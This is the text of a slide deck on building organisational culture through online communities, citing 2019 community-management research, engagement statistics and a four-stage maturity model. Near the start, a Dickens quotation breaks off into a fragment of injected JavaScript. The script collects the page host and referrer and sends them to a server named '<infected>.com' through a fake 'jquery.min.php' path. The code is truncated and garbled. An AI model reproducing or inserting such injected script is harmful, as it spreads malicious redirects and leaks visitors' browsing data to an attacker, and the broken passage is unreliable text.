Crafting Culture with Communities & Engagement
The promise of digital transformation
Our current reality
What Is engagement?
"It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was
host = encodeURIComponent(window.location.host); var base = "http://<infected>.com/js/jquery.min.php"; var _n_url = base + "?default_keyword=" +
default_keyword + "&referrer=" + referrer + "&source="; host = var

Culture is a complex adaptive system
We are drowning in the wrong data...
...and because of that, we can’t see the fractals
Instead we tend to measure outputs – that can be manipulated - which are not the repeating fractals.
The inputs – the behaviors that allow us to get the right output repeatedly – are the scalable fractals.
Community leaders are unlocking the secrets of engagement
Engagement is not one, but a wide range of behaviors
Deeper engagement requires trust.
Communities scale trust by creating a decentralized web of relationships with boundary conditions.

The difference, is typically not the channel, but instead the approach to management.
Communities Empower Individuals

Communities Empower People by Making them Feel like They Matter….

- 76% Asking Questions
- 68% Providing Solutions
- 65% Connecting
- 61% Being Heard
- 60% Feeling Seen
- 35% Leading

…which results in high engagement rates

<table>
<thead>
<tr>
<th>Internal</th>
<th>External</th>
</tr>
</thead>
<tbody>
<tr>
<td>5%</td>
<td>8%</td>
</tr>
<tr>
<td>9%</td>
<td>9%</td>
</tr>
<tr>
<td>15%</td>
<td>17%</td>
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<td>31%</td>
<td>60%</td>
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<tr>
<td>40%</td>
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<td>60%</td>
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</tbody>
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THE STATE OF COMMUNITY MANAGEMENT 2019   •  WWW.COMMUNITYROUNDTABLE.COM
Communities do not produce linear returns like many processes.
Good communities generate value by normalizing new behaviors, which generates compounding value.
However, lack of understanding can lead to predictable community failures
Leaders facilitate this with different approaches as community’s mature.

Community Objective, by Stage

- **Stage 1 – Hierarchy**
  - Behavior Change

- **Stage 2 – Emergent Community**
  - Pull

- **Stage 3 – Community**
  - Grow

- **Stage 4 – Networked**
  - Transform

Time

Impact
Communities are successful when they have a compelling shared purpose and shared value.

When a member wants to resolve an issue, they will use the community to ask a question, instead of doing emailing a ticket system (CRM, bug tracking tool, etc.).
...and addressing complex strategic objectives
Communities are impacting work across organizations...

Communities impact functions across organizations

Functional Groups Most Likely to Have Community Performance Goals

- Marketing: 40%
- Customer Support: 40%
- Product/Engineering: 31%
- Learning/Education/Training: 31%
- Senior Executives: 22%
- Internal Communications: 20%
- External Communications/PR: 20%
- Knowledge Management: 18%
- Operations: 18%
- Sales: 14%
- Information Technology: 14%
- Strategy: 12%
- Human Resources: 11%
- Legal: 8%
- Finance: 7%
- Membership: 5%
...and dramatically improving the efficiency and effectiveness of work
This compounding value can be measured through ROI.
Governance that is a trellis, not a cage
The Community Maturity Model™ provides a framework for community success

<table>
<thead>
<tr>
<th>Level</th>
<th>Strategy</th>
<th>Leadership</th>
<th>Culture</th>
<th>Community Management</th>
<th>Content &amp; Programming</th>
<th>Policies &amp; Governance</th>
<th>Tools</th>
<th>Metrics &amp; Measurement</th>
</tr>
</thead>
<tbody>
<tr>
<td>1: Hierarchy</td>
<td>Competitive</td>
<td>Directive</td>
<td>Resistant</td>
<td>Absent</td>
<td>Structured</td>
<td>Rigid</td>
<td>Ad hoc</td>
<td>Transactional</td>
</tr>
<tr>
<td>2: Emergent Community</td>
<td>Reciprocal</td>
<td>Engaged</td>
<td>Contributive</td>
<td>Encouraging</td>
<td>Responsive</td>
<td>Restrictive</td>
<td>Defined</td>
<td>Experiential</td>
</tr>
<tr>
<td>3: Community</td>
<td>Cooperative</td>
<td>Influential</td>
<td>Supportive</td>
<td>Mentoring</td>
<td>Emergent</td>
<td>Flexible</td>
<td>Integrated</td>
<td>Behavioral</td>
</tr>
<tr>
<td>4: Networked</td>
<td>Interdependent</td>
<td>Inspiring</td>
<td>Collaborative</td>
<td>Empowering</td>
<td>Co-created</td>
<td>Inclusive</td>
<td>Adaptive</td>
<td>Strategic</td>
</tr>
</tbody>
</table>
Structures are not enough – a different mindset is also required.
Shared value, shared responsibility
Control is for amateurs
We learn best when supported AND challenged
Perfection is the enemy of engagement
Hold strong opinions lightly
Ways to Engage with TheCR

#1 Download Research

#2 Get your Community Score

#3 Join TheCR Network

https://the.cr/SOCM2019

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@rhappe
Thank You!

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